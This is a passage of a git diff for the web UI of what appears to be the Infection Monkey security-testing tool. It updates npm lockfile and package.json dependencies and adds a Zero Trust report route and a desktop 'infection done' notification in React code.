+ "integrity": "sha1-EgYBU3qRbSmUD5NNo7SNWFo5IT0=",
+ "requires": {
+ "string-width": "^1.0.1",
+ "strip-ansi": "^3.0.1",
+ "wrap-ansi": "^2.0.0"
+ }
+ },
+ "is-fullwidth-code-point": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-1.0.0.tgz",
+ "integrity": "sha1-754xOG8DGn8NZDr4L95QxFfvAMs=",
+ "requires": {
+ "number-is-nan": "^1.0.0"
+ }
+ },
+ "os-locale": {
+ "version": "1.4.0",
+ "resolved": "https://registry.npmjs.org/os-locale/-/os-locale-1.4.0.tgz",
+ "integrity": "sha1-IPnxeuKe00XoveWDsT0gCYA8FNk=",
+ "requires": {
+ "lcid": "^1.0.0"
+ }
+ },
+ "string-width": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/string-width/-/string-width-1.0.2.tgz",
+ "integrity": "sha1-EYvfW4zcUaKn5w0hHgfisLmxB9M=",
+ "requires": {
+ "code-point-at": "^1.0.0",
+ "is-fullwidth-code-point": "^1.0.0",
+ "strip-ansi": "^3.0.0"
+ }
+ },
+ "which-module": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/which-module/-/which-module-1.0.0.tgz",
+ "integrity": "sha1-u6Y8qGGUiZT/MHc2CJ47lgJsKk8="
+ },
+ "yargs": {
+ "version": "7.1.0",
+ "resolved": "https://registry.npmjs.org/yargs/-/yargs-7.1.0.tgz",
+ "integrity": "sha1-a6MY6xaWFyf10oT46gA+jWFU0Mg=",
+ "requires": {
+ "camelcase": "^3.0.0",
+ "cliui": "^3.2.0",
+ "decamelize": "^1.1.1",
+ "get-caller-file": "^1.0.1",
+ "os-locale": "^1.4.0",
+ "read-pkg-up": "^1.0.1",
+ "require-directory": "^2.1.1",
+ "require-main-filename": "^1.0.1",
+ "set-blocking": "^2.0.0",
+ "string-width": "^1.0.2",
+ "which-module": "^1.0.0",
+ "y18n": "^3.2.1",
+ "yargs-parser": "^5.0.0"
+ }
+ },
+ "yargs-parser": {
+ "version": "5.0.0",
+ "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-5.0.0.tgz",
+ "integrity": "sha1-J17PDX/+Bcd+ZOfIbkzZS/DhIoo=",
+ "requires": {
+ "camelcase": "^3.0.0"
+ }
+ }
+ }
+ },
+ "sass-loader": {
+ "version": "7.1.0",
+ "resolved": "https://registry.npmjs.org/sass-loader/-/sass-loader-7.1.0.tgz",
+ "integrity": "sha512-+G+BKGglmZM2GUSfT9TLuEp6tzehHPjAMoRRItOojWIqIGPloVCMhNIQuG639eJ+y033PaGTSjLaTHts8Kw79w==",
+ "requires": {
+ "clone-deep": "^2.0.1",
+ "loader-utils": "^1.0.1",
+ "lodash.tail": "^4.1.1",
+ "neo-async": "^2.5.0",
+ "pify": "^3.0.0",
+ "semver": "^5.5.0"
+ },
+ "dependencies": {
+ "big.js": {
+ "version": "5.2.2",
+ "resolved": "https://registry.npmjs.org/big.js/-/big.js-5.2.2.tgz",
+ "integrity": "sha512-vyL2OymJxmarO8gxMr0mhChsO9QGwhynfuu4+MHTAW6czfq9humCB7rKpUjDd9YUiDPU4mzpyupFSvOClAwbmQ=="
+ },
+ "json5": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/json5/-/json5-1.0.1.tgz",
+ "integrity": "sha512-aKS4WQjPenRxiQsC93MNfjx+nbF4PAdYzmd/1JIj8HYzqfbu86beTuNgXDzPknWk0n0uARlyewZo4s++ES36Ow==",
+ "requires": {
+ "minimist": "^1.2.0"
+ }
+ },
+ "loader-utils": {
+ "version": "1.2.3",
+ "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-1.2.3.tgz",
+ "integrity": "sha512-fkpz8ejdnEMG3s37wGL07iSBDg99O9D5yflE9RGNH3hRdx9SOwYfnGYdZOUIZitN8E+E2vkq3MUMYMvPYl5ZZA==",
+ "requires": {
+ "big.js": "^5.2.2",
+ "emojis-list": "^2.0.0",
+ "json5": "^1.0.1"
+ }
+ },
+ "pify": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/pify/-/pify-3.0.0.tgz",
+ "integrity": "sha1-5aSs0sEB/fPZpNB/DbxNtJ3SgXY="
+ },
+ "semver": {
+ "version": "5.7.0",
+ "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.0.tgz",
+ "integrity": "sha512-Ya52jSX2u7QKghxeoFGpLwCtGlt7j0oY9DYb5apt9nPlJ42ID+ulTXESnt/qAQcoSERyZ5sl3LDIOw0nAn/5DA=="
+ }
+ }
+ },
"scheduler": {
"version": "0.11.2",
"resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.11.2.tgz",
@@ -14697,6 +15523,25 @@
"ajv-keywords": "^3.1.0"
}
},
+ "scss-tokenizer": {
+ "version": "0.2.3",
+ "resolved": "https://registry.npmjs.org/scss-tokenizer/-/scss-tokenizer-0.2.3.tgz",
+ "integrity": "sha1-jrBtualyMzOCTT9VMGQRSYR85dE=",
+ "requires": {
+ "js-base64": "^2.1.8",
+ "source-map": "^0.4.2"
+ },
+ "dependencies": {
+ "source-map": {
+ "version": "0.4.4",
+ "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.4.4.tgz",
+ "integrity": "sha1-66T12pwNyZneaAMti092FzZSA2s=",
+ "requires": {
+ "amdefine": ">=0.0.4"
+ }
+ }
+ }
+ },
"select-hose": {
"version": "2.0.0",
"resolved": "https://registry.npmjs.org/select-hose/-/select-hose-2.0.0.tgz",
@@ -14715,8 +15560,7 @@
"semver": {
"version": "4.3.6",
"resolved": "https://registry.npmjs.org/semver/-/semver-4.3.6.tgz",
- "integrity": "sha1-MAvG4OhjdPe6YQaLWx7NV/xlMto=",
- "dev": true
+ "integrity": "sha1-MAvG4OhjdPe6YQaLWx7NV/xlMto="
},
"send": {
"version": "0.16.2",
@@ -14824,8 +15668,7 @@
"set-blocking": {
"version": "2.0.0",
"resolved": "https://registry.npmjs.org/set-blocking/-/set-blocking-2.0.0.tgz",
- "integrity": "sha1-BF+XgtARrppoA93TgrJDkrPYkPc=",
- "dev": true
+ "integrity": "sha1-BF+XgtARrppoA93TgrJDkrPYkPc="
},
"set-immediate-shim": {
"version": "1.0.1",
@@ -14896,6 +15739,23 @@
}
}
},
+ "shallow-clone": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/shallow-clone/-/shallow-clone-1.0.0.tgz",
+ "integrity": "sha512-oeXreoKR/SyNJtRJMAKPDSvd28OqEwG4eR/xc856cRGBII7gX9lvAqDxusPm0846z/w/hWYjI1NpKwJ00NHzRA==",
+ "requires": {
+ "is-extendable": "^0.1.1",
+ "kind-of": "^5.0.0",
+ "mixin-object": "^2.0.1"
+ },
+ "dependencies": {
+ "kind-of": {
+ "version": "5.1.0",
+ "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-5.1.0.tgz",
+ "integrity": "sha512-NGEErnH6F2vUuXDh+OlbcKW7/wOcfdRHaZ7VWtqCztfHri/++YKmP51OdWeGPuqCOba6kk2OTe5d02VmTB80Pw=="
+ }
+ }
+ },
"shallowequal": {
"version": "1.1.0",
"resolved": "https://registry.npmjs.org/shallowequal/-/shallowequal-1.1.0.tgz",
@@ -14920,8 +15780,7 @@
"signal-exit": {
"version": "3.0.2",
"resolved": "https://registry.npmjs.org/signal-exit/-/signal-exit-3.0.2.tgz",
- "integrity": "sha1-tf3AjxKH6hF4Yo5BXiUTK3NkbG0=",
- "dev": true
+ "integrity": "sha1-tf3AjxKH6hF4Yo5BXiUTK3NkbG0="
},
"slash": {
"version": "1.0.0",
@@ -15226,7 +16085,6 @@
"version": "3.0.0",
"resolved": "https://registry.npmjs.org/spdx-correct/-/spdx-correct-3.0.0.tgz",
"integrity": "sha512-N19o9z5cEyc8yQQPukRCZ9EUmb4HUpnrmaL/fxS2pBo2jbfcFRVuFZ/oFC+vZz0MNNk0h80iMn5/S6qGZOL5+g==",
- "dev": true,
"requires": {
"spdx-expression-parse": "^3.0.0",
"spdx-license-ids": "^3.0.0"
@@ -15235,14 +16093,12 @@
"spdx-exceptions": {
"version": "2.1.0",
"resolved": "https://registry.npmjs.org/spdx-exceptions/-/spdx-exceptions-2.1.0.tgz",
- "integrity": "sha512-4K1NsmrlCU1JJgUrtgEeTVyfx8VaYea9J9LvARxhbHtVtohPs/gFGG5yy49beySjlIMhhXZ4QqujIZEfS4l6Cg==",
- "dev": true
+ "integrity": "sha512-4K1NsmrlCU1JJgUrtgEeTVyfx8VaYea9J9LvARxhbHtVtohPs/gFGG5yy49beySjlIMhhXZ4QqujIZEfS4l6Cg=="
},
"spdx-expression-parse": {
"version": "3.0.0",
"resolved": "https://registry.npmjs.org/spdx-expression-parse/-/spdx-expression-parse-3.0.0.tgz",
"integrity": "sha512-Yg6D3XpRD4kkOmTpdgbUiEJFKghJH03fiC1OPll5h/0sO6neh2jqRDVHOQ4o/LMea0tgCkbMgea5ip/e+MkWyg==",
- "dev": true,
"requires": {
"spdx-exceptions": "^2.1.0",
"spdx-license-ids": "^3.0.0"
@@ -15251,8 +16107,7 @@
"spdx-license-ids": {
"version": "3.0.0",
"resolved": "https://registry.npmjs.org/spdx-license-ids/-/spdx-license-ids-3.0.0.tgz",
- "integrity": "sha512-2+EPwgbnmOIl8HjGBXXMd9NAu02vLjOO1nWw4kmeRDFyHn+M/ETfHxQUK0oXg8ctgVnl9t3rosNVsZ1jG61nDA==",
- "dev": true
+ "integrity": "sha512-2+EPwgbnmOIl8HjGBXXMd9NAu02vLjOO1nWw4kmeRDFyHn+M/ETfHxQUK0oXg8ctgVnl9t3rosNVsZ1jG61nDA=="
},
"spdy": {
"version": "3.4.7",
@@ -15339,7 +16194,6 @@
"version": "1.14.1",
"resolved": "https://registry.npmjs.org/sshpk/-/sshpk-1.14.1.tgz",
"integrity": "sha1-Ew9Zde3a2WPx1W+SuaxsUfqfg+s=",
- "dev": true,
"requires": {
"asn1": "~0.2.3",
"assert-plus": "^1.0.0",
@@ -15387,6 +16241,48 @@
"integrity": "sha1-Fhx9rBd2Wf2YEfQ3cfqZOBR4Yow=",
"dev": true
},
+ "stdout-stream": {
+ "version": "1.4.1",
+ "resolved": "https://registry.npmjs.org/stdout-stream/-/stdout-stream-1.4.1.tgz",
+ "integrity": "sha512-j4emi03KXqJWcIeF8eIXkjMFN1Cmb8gUlDYGeBALLPo5qdyTfA9bOtl8m33lRoC+vFMkP3gl0WsDr6+gzxbbTA==",
+ "requires": {
+ "readable-stream": "^2.0.1"
+ },
+ "dependencies": {
+ "isarray": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz",
+ "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE="
+ },
+ "process-nextick-args": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.0.tgz",
+ "integrity": "sha512-MtEC1TqN0EU5nephaJ4rAtThHtC86dNN9qCuEhtshvpVBkAW5ZO7BASN9REnF9eoXGcRub+pFuKEpOHE+HbEMw=="
+ },
+ "readable-stream": {
+ "version": "2.3.6",
+ "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.6.tgz",
+ "integrity": "sha512-tQtKA9WIAhBF3+VLAseyMqZeBjW0AHJoxOtYqSUZNJxauErmLbVm2FW1y+J/YA9dUrAC39ITejlZWhVIwawkKw==",
+ "requires": {
+ "core-util-is": "~1.0.0",
+ "inherits": "~2.0.3",
+ "isarray": "~1.0.0",
+ "process-nextick-args": "~2.0.0",
+ "safe-buffer": "~5.1.1",
+ "string_decoder": "~1.1.1",
+ "util-deprecate": "~1.0.1"
+ }
+ },
+ "string_decoder": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz",
+ "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==",
+ "requires": {
+ "safe-buffer": "~5.1.0"
+ }
+ }
+ }
+ },
"stream-browserify": {
"version": "2.0.1",
"resolved": "https://registry.npmjs.org/stream-browserify/-/stream-browserify-2.0.1.tgz",
@@ -15565,7 +16461,6 @@
"version": "2.1.1",
"resolved": "https://registry.npmjs.org/string-width/-/string-width-2.1.1.tgz",
"integrity": "sha512-nOqH59deCq9SRHlxq1Aw85Jnt4w6KvLKqWVik6oA9ZklXLNIOlqg4F2yrT1MVaTjAqvVwdfeZ7w7aCvJD7ugkw==",
- "dev": true,
"requires": {
"is-fullwidth-code-point": "^2.0.0",
"strip-ansi": "^4.0.0"
@@ -15574,14 +16469,12 @@
"ansi-regex": {
"version": "3.0.0",
"resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-3.0.0.tgz",
- "integrity": "sha1-7QMXwyIGT3lGbAKWa922Bas32Zg=",
- "dev": true
+ "integrity": "sha1-7QMXwyIGT3lGbAKWa922Bas32Zg="
},
"strip-ansi": {
"version": "4.0.0",
"resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-4.0.0.tgz",
"integrity": "sha1-qEeQIusaw2iocTibY1JixQXuNo8=",
- "dev": true,
"requires": {
"ansi-regex": "^3.0.0"
}
@@ -15604,7 +16497,6 @@
"version": "3.0.1",
"resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz",
"integrity": "sha1-ajhfuIU9lS1f8F0Oiq+UJ43GPc8=",
- "dev": true,
"requires": {
"ansi-regex": "^2.0.0"
}
@@ -15619,7 +16511,6 @@
"version": "1.0.1",
"resolved": "https://registry.npmjs.org/strip-indent/-/strip-indent-1.0.1.tgz",
"integrity": "sha1-DHlipq3vp7vUrDZkYKY4VSrhoKI=",
- "dev": true,
"requires": {
"get-stdin": "^4.0.1"
}
@@ -15656,8 +16547,7 @@
"supports-color": {
"version": "2.0.0",
"resolved": "https://registry.npmjs.org/supports-color/-/supports-color-2.0.0.tgz",
- "integrity": "sha1-U10EXOa2Nj+kARcIRimZXp3zJMc=",
- "dev": true
+ "integrity": "sha1-U10EXOa2Nj+kARcIRimZXp3zJMc="
},
"symbol-observable": {
"version": "1.2.0",
@@ -15721,6 +16611,16 @@
"integrity": "sha512-dQRhbNQkRnaqauC7WqSJ21EEksgT0fYZX2lqXzGkpo8JNig9zGZTYoMGvyI2nWmXlE2VSVXVDu7wLVGu/mQEsg==",
"dev": true
},
+ "tar": {
+ "version": "2.2.2",
+ "resolved": "https://registry.npmjs.org/tar/-/tar-2.2.2.tgz",
+ "integrity": "sha512-FCEhQ/4rE1zYv9rYXJw/msRqsnmlje5jHP6huWeBZ704jUTy02c5AZyWujpMR1ax6mVw9NyJMfuK2CMDWVIfgA==",
+ "requires": {
+ "block-stream": "*",
+ "fstream": "^1.0.12",
+ "inherits": "2"
+ }
+ },
"text-table": {
"version": "0.2.0",
"resolved": "https://registry.npmjs.org/text-table/-/text-table-0.2.0.tgz",
@@ -15894,8 +16794,7 @@
"trim-newlines": {
"version": "1.0.0",
"resolved": "https://registry.npmjs.org/trim-newlines/-/trim-newlines-1.0.0.tgz",
- "integrity": "sha1-WIeWa7WCpFA6QetST301ARgVphM=",
- "dev": true
+ "integrity": "sha1-WIeWa7WCpFA6QetST301ARgVphM="
},
"trim-right": {
"version": "1.0.1",
@@ -15903,6 +16802,14 @@
"integrity": "sha1-yy4SAwZ+DI3h9hQJS5/kVwTqYAM=",
"dev": true
},
+ "true-case-path": {
+ "version": "1.0.3",
+ "resolved": "https://registry.npmjs.org/true-case-path/-/true-case-path-1.0.3.tgz",
+ "integrity": "sha512-m6s2OdQe5wgpFMC+pAJ+q9djG82O2jcHPOI6RNg1yy9rCYR+WD6Nbpl32fDpfC56nirdRy+opFa/Vk7HYhqaew==",
+ "requires": {
+ "glob": "^7.1.2"
+ }
+ },
"tslib": {
"version": "1.9.3",
"resolved": "https://registry.npmjs.org/tslib/-/tslib-1.9.3.tgz",
@@ -15919,7 +16826,6 @@
"version": "0.6.0",
"resolved": "https://registry.npmjs.org/tunnel-agent/-/tunnel-agent-0.6.0.tgz",
"integrity": "sha1-J6XeoGs2sEoKmWZ3SykIaPD8QP0=",
- "dev": true,
"requires": {
"safe-buffer": "^5.0.1"
}
@@ -15928,7 +16834,6 @@
"version": "0.14.5",
"resolved": "https://registry.npmjs.org/tweetnacl/-/tweetnacl-0.14.5.tgz",
"integrity": "sha1-WuaBd/GS1EViadEIr6k/+HQ/T2Q=",
- "dev": true,
"optional": true
},
"type-check": {
@@ -16194,7 +17099,6 @@
"version": "4.2.2",
"resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.2.2.tgz",
"integrity": "sha512-KY9Frmirql91X2Qgjry0Wd4Y+YTdrdZheS8TFwvkbLWf/G5KNJDCh6pKL5OZctEW4+0Baa5idK2ZQuELRwPznQ==",
- "dev": true,
"requires": {
"punycode": "^2.1.0"
},
@@ -16202,8 +17106,7 @@
"punycode": {
"version": "2.1.1",
"resolved": "https://registry.npmjs.org/punycode/-/punycode-2.1.1.tgz",
- "integrity": "sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A==",
- "dev": true
+ "integrity": "sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A=="
}
}
},
@@ -16318,8 +17221,7 @@
"util-deprecate": {
"version": "1.0.2",
"resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz",
- "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=",
- "dev": true
+ "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8="
},
"util.promisify": {
"version": "1.0.0",
@@ -16376,7 +17278,6 @@
"version": "3.0.4",
"resolved": "https://registry.npmjs.org/validate-npm-package-license/-/validate-npm-package-license-3.0.4.tgz",
"integrity": "sha512-DpKm2Ui/xN7/HQKCtpZxoRWBhZ9Z0kqtygG8XCgNQ8ZlDnxuQmWhj566j8fN4Cu3/JmbhsDo7fcAJq4s9h27Ew==",
- "dev": true,
"requires": {
"spdx-correct": "^3.0.0",
"spdx-expression-parse": "^3.0.0"
@@ -16397,7 +17298,6 @@
"version": "1.10.0",
"resolved": "https://registry.npmjs.org/verror/-/verror-1.10.0.tgz",
"integrity": "sha1-OhBcoXBTr1XW4nDB+CiGguGNpAA=",
- "dev": true,
"requires": {
"assert-plus": "^1.0.0",
"core-util-is": "1.0.2",
@@ -18362,8 +19262,7 @@
"ansi-regex": {
"version": "2.1.1",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"aproba": {
"version": "1.2.0",
@@ -18406,8 +19305,7 @@
"code-point-at": {
"version": "1.1.0",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"concat-map": {
"version": "0.0.1",
@@ -18418,8 +19316,7 @@
"console-control-strings": {
"version": "1.1.0",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"core-util-is": {
"version": "1.0.2",
@@ -18536,8 +19433,7 @@
"inherits": {
"version": "2.0.3",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"ini": {
"version": "1.3.5",
@@ -18549,7 +19445,6 @@
"version": "1.0.0",
"bundled": true,
"dev": true,
- "optional": true,
"requires": {
"number-is-nan": "^1.0.0"
}
@@ -18566,20 +19461,18 @@
"dev": true,
"optional": true,
"requires": {
- "brace-expansion": "1.1.11"
+ "brace-expansion": "^1.1.7"
}
},
"minimist": {
"version": "0.0.8",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"minipass": {
"version": "2.2.4",
"bundled": true,
"dev": true,
- "optional": true,
"requires": {
"safe-buffer": "^5.1.1",
"yallist": "^3.0.0"
@@ -18598,7 +19491,6 @@
"version": "0.5.1",
"bundled": true,
"dev": true,
- "optional": true,
"requires": {
"minimist": "0.0.8"
}
@@ -18679,8 +19571,7 @@
"number-is-nan": {
"version": "1.0.1",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"object-assign": {
"version": "4.1.1",
@@ -18692,7 +19583,6 @@
"version": "1.4.0",
"bundled": true,
"dev": true,
- "optional": true,
"requires": {
"wrappy": "1"
}
@@ -18778,8 +19668,7 @@
"safe-buffer": {
"version": "5.1.1",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"safer-buffer": {
"version": "2.1.2",
@@ -18815,7 +19704,6 @@
"version": "1.0.2",
"bundled": true,
"dev": true,
- "optional": true,
"requires": {
"code-point-at": "^1.0.0",
"is-fullwidth-code-point": "^1.0.0",
@@ -18835,7 +19723,6 @@
"version": "3.0.1",
"bundled": true,
"dev": true,
- "optional": true,
"requires": {
"ansi-regex": "^2.0.0"
}
@@ -18879,14 +19766,12 @@
"wrappy": {
"version": "1.0.2",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
},
"yallist": {
"version": "3.0.2",
"bundled": true,
- "dev": true,
- "optional": true
+ "dev": true
}
}
},
@@ -19302,7 +20187,6 @@
"version": "1.3.0",
"resolved": "https://registry.npmjs.org/which/-/which-1.3.0.tgz",
"integrity": "sha1-/wS9/AEO5UfXgL7DjhrBwnd9JTo=",
- "dev": true,
"requires": {
"isexe": "^2.0.0"
}
@@ -19313,6 +20197,14 @@
"integrity": "sha1-2e8H3Od7mQK4o6j6SzHD4/fm6Ho=",
"dev": true
},
+ "wide-align": {
+ "version": "1.1.3",
+ "resolved": "https://registry.npmjs.org/wide-align/-/wide-align-1.1.3.tgz",
+ "integrity": "sha512-QGkOQc8XL6Bt5PwnsExKBPuMKBxnGxWWW3fU55Xt4feHozMUhdUMaBCk290qpm/wG5u/RSKzwdAC4i51YigihA==",
+ "requires": {
+ "string-width": "^1.0.2 || 2"
+ }
+ },
"window-size": {
"version": "0.1.0",
"resolved": "https://registry.npmjs.org/window-size/-/window-size-0.1.0.tgz",
@@ -19339,7 +20231,6 @@
"version": "2.1.0",
"resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-2.1.0.tgz",
"integrity": "sha1-2Pw9KE3QV5T+hJc8rs3Rz4JP3YU=",
- "dev": true,
"requires": {
"string-width": "^1.0.1",
"strip-ansi": "^3.0.1"
@@ -19349,7 +20240,6 @@
"version": "1.0.0",
"resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-1.0.0.tgz",
"integrity": "sha1-754xOG8DGn8NZDr4L95QxFfvAMs=",
- "dev": true,
"requires": {
"number-is-nan": "^1.0.0"
}
@@ -19358,7 +20248,6 @@
"version": "1.0.2",
"resolved": "https://registry.npmjs.org/string-width/-/string-width-1.0.2.tgz",
"integrity": "sha1-EYvfW4zcUaKn5w0hHgfisLmxB9M=",
- "dev": true,
"requires": {
"code-point-at": "^1.0.0",
"is-fullwidth-code-point": "^1.0.0",
@@ -19370,8 +20259,7 @@
"wrappy": {
"version": "1.0.2",
"resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz",
- "integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=",
- "dev": true
+ "integrity": "sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8="
},
"write": {
"version": "0.2.1",
@@ -19414,14 +20302,12 @@
"y18n": {
"version": "3.2.1",
"resolved": "https://registry.npmjs.org/y18n/-/y18n-3.2.1.tgz",
- "integrity": "sha1-bRX7qITAhnnA136I53WegR4H+kE=",
- "dev": true
+ "integrity": "sha1-bRX7qITAhnnA136I53WegR4H+kE="
},
"yallist": {
"version": "2.1.2",
"resolved": "https://registry.npmjs.org/yallist/-/yallist-2.1.2.tgz",
- "integrity": "sha1-HBH5IY8HYImkfdUS+TxmmaaoHVI=",
- "dev": true
+ "integrity": "sha1-HBH5IY8HYImkfdUS+TxmmaaoHVI="
},
"yargs": {
"version": "3.10.0",
diff --git a/monkey/monkey_island/cc/ui/package.json b/monkey/monkey_island/cc/ui/package.json
index 8218b89ae..4da085836 100644
--- a/monkey/monkey_island/cc/ui/package.json
+++ b/monkey/monkey_island/cc/ui/package.json
@@ -6,6 +6,7 @@
"clean": "rimraf dist/*",
"copy": "copyfiles -f ./src/index.html ./src/favicon.ico ./dist",
"dist": "webpack --mode production",
+ "dev": "webpack --mode development",
"lint": "eslint ./src",
"posttest": "npm run lint",
"release:major": "npm version major && npm publish && git push --follow-tags",
@@ -52,9 +53,9 @@
"minimist": "^1.2.0",
"mocha": "^5.2.0",
"null-loader": "^0.1.1",
- "open": "0.0.5",
"phantomjs-prebuilt": "^2.1.16",
"react-addons-test-utils": "^15.6.2",
+ "react-event-timeline": "^1.6.3",
"react-hot-loader": "^4.3.11",
"rimraf": "^2.6.2",
"style-loader": "^0.22.1",
@@ -64,15 +65,21 @@
"webpack-dev-server": "^3.1.9"
},
"dependencies": {
+ "@emotion/core": "^10.0.10",
+ "@kunukn/react-collapse": "^1.0.5",
"bootstrap": "3.4.1",
+ "classnames": "^2.2.6",
"core-js": "^2.5.7",
+ "d3": "^5.11.0",
"downloadjs": "^1.4.7",
"fetch": "^1.1.0",
+ "file-saver": "^2.0.2",
"filepond": "^4.2.0",
"js-file-download": "^0.4.4",
"json-loader": "^0.5.7",
"jwt-decode": "^2.2.0",
"moment": "^2.22.2",
+ "node-sass": "^4.11.0",
"normalize.css": "^8.0.0",
"npm": "^6.4.1",
"prop-types": "^15.6.2",
@@ -81,6 +88,7 @@
"react-bootstrap": "^0.32.4",
"react-copy-to-clipboard": "^5.0.1",
"react-data-components": "^1.2.0",
+ "react-desktop-notification": "^1.0.9",
"react-dimensions": "^1.3.0",
"react-dom": "^16.5.2",
"react-fa": "^5.0.0",
@@ -90,11 +98,13 @@
"react-jsonschema-form": "^1.0.5",
"react-redux": "^5.1.1",
"react-router-dom": "^4.3.1",
+ "react-spinners": "^0.5.4",
"react-table": "^6.8.6",
"react-toggle": "^4.0.1",
+ "react-tooltip-lite": "^1.9.1",
"redux": "^4.0.0",
+ "sass-loader": "^7.1.0",
"sha3": "^2.0.0",
- "react-spinners": "^0.5.4",
- "@emotion/core": "^10.0.10"
+ "pluralize": "^7.0.0"
}
}
diff --git a/monkey/monkey_island/cc/ui/server.js b/monkey/monkey_island/cc/ui/server.js
index becb3e6db..ec9182cde 100644
--- a/monkey/monkey_island/cc/ui/server.js
+++ b/monkey/monkey_island/cc/ui/server.js
@@ -4,7 +4,6 @@ require('core-js/fn/object/assign');
const webpack = require('webpack');
const WebpackDevServer = require('webpack-dev-server');
const config = require('./webpack.config');
-const open = require('open');
/**
* Flag indicating whether webpack compiled for the first time.
diff --git a/monkey/monkey_island/cc/ui/src/components/Main.js b/monkey/monkey_island/cc/ui/src/components/Main.js
index 8229133e6..09038292e 100644
--- a/monkey/monkey_island/cc/ui/src/components/Main.js
+++ b/monkey/monkey_island/cc/ui/src/components/Main.js
@@ -7,13 +7,15 @@ import RunServerPage from 'components/pages/RunServerPage';
import ConfigurePage from 'components/pages/ConfigurePage';
import RunMonkeyPage from 'components/pages/RunMonkeyPage';
import MapPage from 'components/pages/MapPage';
-import PassTheHashMapPage from 'components/pages/PassTheHashMapPage';
import TelemetryPage from 'components/pages/TelemetryPage';
import StartOverPage from 'components/pages/StartOverPage';
import ReportPage from 'components/pages/ReportPage';
+import ZeroTrustReportPage from 'components/pages/ZeroTrustReportPage';
import LicensePage from 'components/pages/LicensePage';
import AuthComponent from 'components/AuthComponent';
import LoginPageComponent from 'components/pages/LoginPage';
+import Notifier from "react-desktop-notification"
+
import 'normalize.css/normalize.css';
import 'react-data-components/css/table-twbs.css';
@@ -25,6 +27,9 @@ import VersionComponent from "./side-menu/VersionComponent";
let logoImage = require('../images/monkey-icon.svg');
let infectionMonkeyImage = require('../images/infection-monkey.svg');
let guardicoreLogoImage = require('../images/guardicore-logo.png');
+let notificationIcon = require('../images/notification-logo-512x512.png');
+
+const reportZeroTrustRoute = '/report/zero_trust';
class AppComponent extends AuthComponent {
updateStatus = () => {
@@ -50,6 +55,7 @@ class AppComponent extends AuthComponent {
}
if (isChanged) {
this.setState({completedSteps: res['completed_steps']});
+ this.showInfectionDoneNotification();
}
});
}
@@ -144,7 +150,7 @@ class AppComponent extends AuthComponent {
-
+
4.
Security Report
{this.state.completedSteps.report_done ?
@@ -152,6 +158,15 @@ class AppComponent extends AuthComponent {
: ''}
+
+
+ 5.
+ Zero Trust Report
+ {this.state.completedSteps.report_done ?
+
+ : ''}
+
+
@@ -186,7 +201,8 @@ class AppComponent extends AuthComponent {
{this.renderRoute('/infection/map', )}
{this.renderRoute('/infection/telemetry', )}
{this.renderRoute('/start-over', )}
- {this.renderRoute('/report', )}
+ {this.renderRoute('/report/security', )}
+ {this.renderRoute(reportZeroTrustRoute, )}
{this.renderRoute('/license', )}
@@ -194,6 +210,26 @@ class AppComponent extends AuthComponent {
);
}
+
+ showInfectionDoneNotification() {
+ if (this.shouldShowNotification()) {
+ const hostname = window.location.hostname;
+ const port = window.location.port;
+ const protocol = window.location.protocol;
+ const url = `${protocol}//${hostname}:${port}${reportZeroTrustRoute}`;
+
+ Notifier.start(
+ "Monkey Island",
+ "Infection is done! Click here to go to the report page.",
+ url,
+ notificationIcon);
+ }
+ }
+
+ shouldShowNotification() {
+ // No need to show the notification to redirect to the report if we're already in the report page
+ return (this.state.completedSteps.infection_done && !window.location.pathname.startsWith("/report"));
+ }
}
AppComponent.defaultProps = {};
